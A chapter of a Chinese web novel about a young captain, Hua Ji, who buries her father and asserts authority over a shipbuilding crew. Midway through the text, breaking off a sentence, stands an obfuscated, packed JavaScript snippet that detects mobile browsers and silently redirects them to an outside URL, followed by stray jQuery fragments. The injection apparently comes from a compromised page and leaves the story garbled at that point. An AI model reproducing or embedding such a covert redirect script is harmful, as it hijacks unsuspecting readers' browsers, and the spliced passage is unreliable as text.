“花船长，老夫自作主张，将船长提出的那些超凡脱俗的想法，略隐了一部分下去。”
两人一前一后下山，从寺庙的台阶走下，梅别鹤说完，身后并没有传出声音。
他想了想，停顿下来，回头，看着花棘，有些僭越地开了口：“若叫存心之人知道了，那些都是因为你......只恐锋芒太过，会招来杀身之祸啊。”
梅别鹤说得真切，花棘如何不明白。
她看向老者担忧的神色，安抚似的点了点头，她原也不是喜欢张扬的人。
彼此无言，才走了没几步，前面的梅别鹤便又停了下来。
梅别鹤仰头回望来的时候，神色淡淡，花棘自高处看下去，恍然意识到面前的人，可能远比她想象中的更为苍老。
视线从花棘包着白纱的双手上反复划过，梅别鹤还在犹豫，他想问花棘在晨王手下做事的处境究竟怎么样，花棘这样才能的人，不是应该在后方运筹帷幄，如何连续两次都能身陷险地。
他还想问即便事情做成，届时风口浪尖，置于最中心的她，又该如何脱身啊......
到底，所有忧虑最后说出口，只变成了一句：“花船长，你的伤......没事吧？”
天色渐暗，夕阳的余晖愈发柔和，花棘将视线缓缓移开，抬眼又望见了那棵老树的树尖。
她定睛看着，思绪忽而平静下来，前世今生错乱的记忆复又浮现在脑海。
只不过这一次，往昔仿若感同身受般亲历过的一幕幕，回看起来竟都是那么地温馨，那么地踏实。
一缕微风徐徐吹过，眼眶跟着一阵一阵发酸，两行清泪无知无觉地流满了脸颊。
她抬手指了过去，哑声告知：“父亲，就安睡在那里。”
虽多有匆忙，但在天黑之前，好歹也算有了简单的置办。
长烟随风为号，魂幡飘扬引路，白绫铺陈成庄严的队列，纸钱沿途漫撒，香烛与烈酒齐备。
花铭早该受此一次，正式的送别。
当晚匆匆埋葬后隆起的土包，已然快被山风吹平了，新坟上多添了一层大小相当的石块，坟前还立了一面以楠木替代的碑。
楠木是梅别鹤从多出的货船龙骨上砍下来的，说是，正配桃风的气节。
刻碑上的字时，花棘拒绝了以她的名义，也没说理由。
梅别鹤好似什么都能洞悉一般，不再多问，接过来便自行写下了落款。
——不肖兄长梅别鹤敬立
一整坛石冻春在坟前全部撒尽后，立于最前端的梅别鹤率先跪了下去。
花棘没有跪，半侧着身，远离众人站到了树的另一边。
她连孝服也没有披，但一身白衣，山风一吹，倒区别不大，裙摆处的一抹鲜红，像是刚染的血。
石冻春清冽的味道渐渐四散开来，年少故友俱在，叩首，额头触地的瞬间，便算是又见了一面。
祭奠按花棘的意思，一切从简，不多时，坟前只剩下了梅别鹤，并三五故友。
“......还记得师傅当年的嘱咐，漓江上走水，我们的手护得不仅仅是船，更是自己的良心。”
梅别鹤跌坐在木碑边，手里拎着又一坛石冻春，几句话的功夫已然见了底。
“桃风你且安心，兄长亦从未敢忘。”他道。
花棘斜倚在旁，总觉得这话是说给老父听的，也是说给她听的。
这些话，记忆中的“花棘”从小到大，仿佛听过了无数遍。
人都已走远，她来不及再回味什么，只无端想起昨日同样的时间，与众人一起顶起水墙时的情形。
她在想，老父花铭与梅别鹤，他们年轻初出茅庐的那会儿，所奔向的未来，是否也是那般满载着苦难，却欣欣向荣的样子。
莫名在这个瞬间，望见眼前种种，一股强烈的宿命感油然而生。
她这样的一个人，背靠着经年累积的学识，来到这里成为“花棘”，又遇到这样一群人，卷入进事端。
如何，不是一种精心编排的命中注定呢？
花棘与梅别鹤两人是最后离开的，远远地坠在人群后面，花棘主动改了称呼。
“梅叔，还是叫我花棘吧。”
“哈哈哈哈，好。”梅别鹤笑着，终于肯上前半步，与花棘并肩走着。
“其实，方才因为顾虑的事情太多，老夫也没敢多说。”他说着，脸上渐渐又有了愉悦的神色。
花棘放慢了步调，“梅叔，您说。”
“多少年了，自有漕运以来，能够为朝廷运税粮，都是最为荣耀和光宗耀祖的事，我和桃风当年亲历的时候，都还是小辈呢。”
身旁老者眉飞色舞地回顾着往昔峥嵘岁月，精神抖擞的模样，只叫两鬓斑白的发，都重新染上了曾经意气风发的光彩。
他频频感慨着，“谁能想到，等再次有这样天大的好机会时，我们倒也成为人家嘴里的老师傅了，哈哈哈哈......”
两人前方，是一众花棘在斗船比试中见过的熟悉面孔，此刻，围在他们四周的俱是陌生，但朝气蓬勃的少年郎们了。
“一直不敢多说，是怕给你太多压力。”梅别鹤继续道，“兹事虽难若登天，可一旦成了，此生再无憾事。”
他看向花棘，柔了所有的厉色，和声鼓励。
“无论什么时候，只管放开手去做，花船长的背后，永远有我们这些老家伙们在！”
梅别鹤一只手拍在胸脯上，面容慈祥，嘴角带笑，几乎要与记忆中老父的脸重合在一起。
她跟着放任了笑意，点头应下：“好。”
正走着，有多人聚集一处，两人不动声色地靠了过去。
远远地便听到有人在说：“开什么玩笑，一个未出阁的姑娘而已，你们还真就都信了？”
“他花铭当年就比不过梅老，怎么现在他教出来的女儿，就能平白压梅老一头了？”
“嘘嘘——小点声。”一人出来制止，偷着朝李文晞所在的凉亭指了指。
“噢～”旁边几个年轻人随即阴阳怪气地闷头笑了起来。
这边，梅别鹤气愤地刚要上前，一位方脸浓眉的老叟便先一步走了过去。
“都混说什么呢，散了散了！快点！”
说罢，几人噤声当即就要散去。
咔！
人群边缘凭空乍起的一声脆响，登时把所有人定在了原地。
视线汇集而去，手拿砍刀的花棘正站在用于固定帆布的竹骨架旁，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346403|190989||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其中一截弧形的毛竹，被她干脆利落地削去了半寸。
“此艘货船主帆的竹骨由哪一组人负责。”花棘迎着众人看来的目光，一一逼视回去，平静下令，“自己去领罚。”
货船的规制确定之后，帆面骨架便也是固定了的。
主帆与各辅助帆之间，每一根毛竹该在的位置，该有的尺寸，误差只可在微毫之间。
花棘砍下去的这一刀，骨架已然是经过三轮校对之后，装车准备运走，进行下一步帆布拼合。
如此被她一眼抓出异端还不算，砍下的那一刀才是最为震撼。
切口平整，尺寸精准，未有丝毫偏颇，需要持刀人的手足够稳，眼力足够老辣才行，便是在漕运一行摸爬滚打多少年的老师傅，也要先比对勾画之后，才敢下手。
可站在他们眼前的，明明只是一个刚满十八岁的瘦弱女子，砍刀才一提起，便狠命剁下......
饶是有再多的无以理解，但众目睽睽之下铁证在前，全场顿时鸦雀无声。
仰慕者欣喜若狂，质疑者颔首静立。
随即，一道清丽的声音，在一众男人堆里轻悠悠地传出。
“这只船队里没那么多规矩，仅此一条，事无巨细令行禁止。”花棘扬手将砍刀扔了出去，漆黑睿智的双眸于人群中扫视而过，一字一顿，“违者，永不再用。”
“而携手并进者，”她话音一转，挺直脊背扬声道，“荣辱共担，富贵同享。”
说完，她拍了拍手准备离开，“你们也不用费力去猜，我到底有没有能力当这个船长。”
她私心从来也没觉得，自己就是他们的船长。
这些人能够汇集在这里，不过萍水相逢，搭在同一条船上，暂时走过一段路而已。
待目标达成，大家好聚好散，再也无需相见。
是以，短时间内凭空建立起来的威望能有什么牢固的，还需要耗心力去维护，得不偿失。
这种情况下，反而是简单粗暴的威慑才更有效率，更能保证船队的“团结”。
信她的人自然会听她，有心掺在其中滥竽充数，或故意挑拨离间的，只需一不做二不休地直接剔除掉，自然敲山震虎。
所以，临转身离开之前，她留下了最后一句话。
“不服的人，只管来试试看，我说的话到底算不算数。”
话说出口，沉寂片刻后，众人的视线忽而转去同一个方向，人群中再度有了骚动。
花棘循着视线望去，眼见李文晞正走了过来。
她急着要走，抬首扫了李文晞一眼后，主动问：“殿下是有什么事吗？”
“不不，本王能有什么事啊。”李文晞轻摇折扇一步一步走近，笑着道，“本王就是过来看看，花船长还有什么要吩咐的，本王好亲自着人去办。”
花棘一听就明白了李文晞的意思，这是要帮着她立威呢。
可要借助别人才能立起来的威信，算什么威信？
不过是笑脸接住别人的施舍罢了。
目光与李文晞在半空中短暂相撞，她转而看向远处，向前一步后抬手一指远处的凉亭，正色道：“造船工期紧张，正好欠几块长木。”
她偏要亲手将这施舍，全都扬了。